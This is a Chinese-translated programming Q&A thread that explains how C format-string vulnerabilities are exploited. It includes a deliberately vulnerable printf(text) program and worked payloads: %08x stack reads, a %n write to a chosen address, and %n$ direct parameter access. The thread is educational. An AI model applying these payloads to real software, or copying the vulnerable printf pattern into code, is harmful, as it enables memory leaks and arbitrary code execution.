Atu*_*yal 64 c security format-string
我正在阅读代码中的漏洞,并遇到了这个Format-String漏洞.
维基百科说:
当程序员希望打印包含用户提供的数据的字符串时,最常出现格式化字符串错误.程序员可能会错误地写printf(缓冲区)而不是printf("%s",缓冲区).第一个版本将缓冲区解释为格式字符串,并解析它可能包含的任何格式化指令.第二个版本只是按照程序员的意图将字符串打印到屏幕上.
我遇到了printf(缓冲区)版本的问题,但我仍然没有得到攻击者如何使用此漏洞来执行有害代码.有人可以告诉我一个例子如何利用这个漏洞?
Mic*_*kis 96
您可以直接或间接地以多种方式利用格式字符串漏洞.让我们使用以下作为示例(假设没有相关的操作系统保护,这是非常罕见的):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
Run Code Online (Sandbox Code Playgroud)
此漏洞的基础是具有可变参数的函数的行为.实现处理可变数量参数的函数必须从堆栈中读取它们.如果我们指定一个格式字符串,它将使printf()堆栈上有两个整数,并且我们只提供一个参数,那么第二个参数必须是堆栈中的其他参数.通过扩展,如果我们可以控制格式字符串,我们可以拥有两个最基本的原语:
[编辑] 重要提示:我在这里对堆栈框架布局做了一些假设.如果您了解漏洞背后的基本前提,则可以忽略它们,并且它们在操作系统,平台,程序和配置方面各不相同.
可以使用%sformat参数来读取数据.您可以读取原始格式字符串的数据printf(text),因此您可以使用它来读取堆栈中的任何内容:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
Run Code Online (Sandbox Code Playgroud)
您可以使用%n格式说明符(几乎)写入任意地址.再说一次,让我们假设我们上面的易受攻击的程序,让我们尝试更改some_value位于的位置0x08049794,如上所示:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
Run Code Online (Sandbox Code Playgroud)
我们some_value用在%n遇到说明符之前写入的字节数覆盖了(man printf).我们可以使用格式字符串本身或字段宽度来控制此值:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
Run Code Online (Sandbox Code Playgroud)
有许多可能性和技巧可以尝试(直接参数访问,大场宽度使环绕可能,建立自己的原语),这只是触及冰山一角.我建议阅读更多关于fmt字符串漏洞的文章(Phrack有一些非常优秀的文章,虽然它们可能有点先进)或一本涉及该主题的书.
免责声明:这些例子来自Jon Erickson 的" Hacking:剥削艺术"(第2版)一书[虽然不是逐字逐句] .
Jon*_*ler 16
有趣的是,没有人提到n$过POSIX支持的符号.如果您可以将格式字符串控制为攻击者,则可以使用以下符号:
"%200$p"
Run Code Online (Sandbox Code Playgroud)
读取堆栈上的第200 个项目(如果有的话).目的是你应该列出n$从1到最大的所有数字,它提供了一种重新排序参数如何出现在格式字符串中的方法,这在处理I18N(L10N,G11N,M18N *)时很方便.
但是,一些(可能是大多数)系统在如何验证n$值方面有些缺乏实用性,这可能导致可以控制格式字符串的攻击者滥用.结合%n格式说明符,这可能导致在指针位置写入.
* I18N,L10N,G11N和M18N的首字母缩略词分别用于国际化,本地化,全球化和多国化.数字表示省略的字母数.
不受控制的格式字符串是一种在1999年左右发现的软件漏洞,可用于安全漏洞.以前认为无害的格式字符串漏洞可用于崩溃程序或执行有害代码.
典型的漏洞使用这些技术的组合来强制程序用指向某些恶意shellcode的指针覆盖库函数的地址或堆栈上的返回地址.格式说明符的填充参数用于控制输出的字节数,
%x令牌用于从栈中弹出字节,直到达到格式字符串本身的开头.格式字符串的开始精雕细琢包含地址的%n格式令牌可以用恶意代码执行的地址覆盖.
这是因为%n 起因printf于写数据到一个变量,它是在堆栈中.但这意味着它可以任意写入某些内容.你只需要有人使用那个变量(如果碰巧是一个函数指针就相对容易了,你只想知道如何控制它的值)它们可以让你任意执行任何东西.
看一下文章中的链接; 他们看起来有趣.